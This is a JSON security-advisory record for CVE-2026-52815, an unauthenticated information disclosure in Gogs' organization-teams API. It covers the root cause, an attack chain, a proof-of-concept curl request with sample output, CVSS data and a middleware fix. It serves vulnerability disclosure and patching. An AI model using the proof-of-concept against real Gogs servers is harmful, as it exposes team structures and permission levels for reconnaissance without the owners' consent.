{"id":"CVE-2026-52815","aliases":["CVE-2026-52815","GHSA-744x-3838-5r56","GO-2026-5202"],"related":[],"kind":"vulnerability","state":"published","title":"Gogs: Unauthenticated Organization Teams Information Disclosure via API","summary":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, Gogs has an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint at internal/route/api/v1/org_team.go:8 returns all teams for any organization without requiring authentication. The route group at internal/route/api/v1/api.go:380-385 lacks the reqToken() middleware, and the listTeams() handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller. This vulnerability is fixed in 0.14.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, Gogs has an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint at internal/route/api/v1/org_team.go:8 returns all teams for any organization without requiring authentication. The route group at internal/route/api/v1/api.go:380-385 lacks the reqToken() middleware, and the listTeams() handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller. This vulnerability is fixed in 0.14.3.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nGogs has an unauthenticated information disclosure vulnerability. The `GET /api/v1/orgs/:orgname/teams` endpoint at `internal/route/api/v1/org_team.go:8` returns all teams for any organization without requiring authentication. The route group at `internal/route/api/v1/api.go:380-385` lacks the `reqToken()` middleware, and the `listTeams()` handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.\n\n## Affected Versions\n\nGogs (all current versions)\n\n## Vulnerability Details\n\n### Root Cause: Missing reqToken() middleware on org teams route group\n\n`internal/route/api/v1/api.go` lines 380-385:\n\n```go\n// Org teams route group — no reqToken() middleware\nm.Group(\"/:orgname\", func() {\n    m.Get(\"/teams\", org.ListTeams) // No auth required\n}, orgAssignment(true))\n```\n\nThe `orgAssignment(true)` middleware only loads the organization object — it performs no authentication. The `listTeams()` handler at `org_team.go:8` returns all teams unconditionally:\n\n```go\nfunc ListTeams(c *context.APIContext) {\n    org := c.Org.Organization\n    teams, err := database.GetTeamsByOrgID(org.ID)\n    // Returns all teams — no c.IsLogged check, no permission check\n}\n```\n\nCompare with other org endpoints that correctly require authentication:\n\n```go\nm.Group(\"/orgs/:orgname\", func() {\n    // ... other endpoints ...\n}, reqToken(), orgAssignment(true, true)) // reqToken() enforces auth\n```\n\n### Attack Chain\n\n- Attacker sends `GET /api/v1/orgs/target-org/teams` with no authentication\n- `orgAssignment(true)` loads the organization but does not check auth\n- `ListTeams()` queries all teams and returns them\n- Response includes team IDs, names, descriptions, and permission levels (read/write/admin/owner)\n\n## Proof of Concept\n\n```bash\n# List all teams in an organization — no authentication needed\ncurl -s \"http://TARGET:3000/api/v1/orgs/myorg/teams\" | python3 -m json.tool\n\n# Expected: 200 OK with full team list\n# [\n#   {\n#     \"id\": 1,\n#     \"name\": \"Owners\",\n#     \"description\": \"Admin team\",\n#     \"permission\": \"owner\"\n#   },\n#   {\n#     \"id\": 2,\n#     \"name\": \"backend-devs\",\n#     \"description\": \"Backend development team\",\n#     \"permission\": \"write\"\n#   }\n# ]\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- Enumerate all teams within any organization, including private/internal teams\n- Discover team permission levels (read/write/admin/owner), aiding privilege escalation planning\n- Map organizational structure and identify high-value targets (admin/owner teams)\n- Harvest team IDs for use in other API calls that may have weaker authorization checks\n\n## Suggested Remediation\n\n```go\nm.Group(\"/:orgname\", func() {\n    m.Get(\"/teams\", org.ListTeams)\n}, reqToken(), orgAssignment(true))\n```\n\nAdd `reqToken()` middleware to the org teams route group, consistent with other authenticated org endpoints. Additionally, `ListTeams()` should verify the authenticated user is a member of the organization.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API in gogs.io/gogs.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: gogs.io/gogs before v0.14.3.","format":"markdown","source":"go"}],"published":"2026-06-23T17:13:25.000Z","modified":"2026-07-21T13:45:26.548Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":5.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":5.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","rating":"MEDIUM"}],"cwes":["CWE-200"],"affected":[{"ranges":[{"version":"< 0.14.3","status":"affected"}],"vendor":"gogs","product":"gogs","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.14.3"}],"ecosystem":"Go","package":"gogs.io/gogs","purl":"pkg:golang/gogs.io/gogs","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"gogs.io/gogs","purl":"pkg:golang/gogs.io/gogs","source":"go"}],"references":[{"url":"https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52815","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/gogs/gogs/pull/8336","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/gogs/gogs/commit/2ebc0e27069deade992219e10a89fbc44bec8bb9","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/gogs/gogs","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/gogs/gogs/releases/tag/v0.14.3","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-25T14:50:04.434Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-52815","url":"https://www.cve.org/CVERecord?id=CVE-2026-52815","licence":"CVE Terms of Use","modified":"2026-06-25T14:50:29.607Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-744x-3838-5r56","url":"https://github.com/advisories/GHSA-744x-3838-5r56","licence":"CC-BY-4.0","modified":"2026-07-21T13:45:26.548Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5202","url":"https://pkg.go.dev/vuln/GO-2026-5202","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:13.903Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-52815","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52815","licence":"Public domain","modified":"2026-06-25T16:16:39.027Z"}],"updatedAt":"2026-11-25T22:59:25.752Z","epss":{"score":0.01103,"percentile":0.66661,"date":"2026-12-01T12:00:22.000Z"}}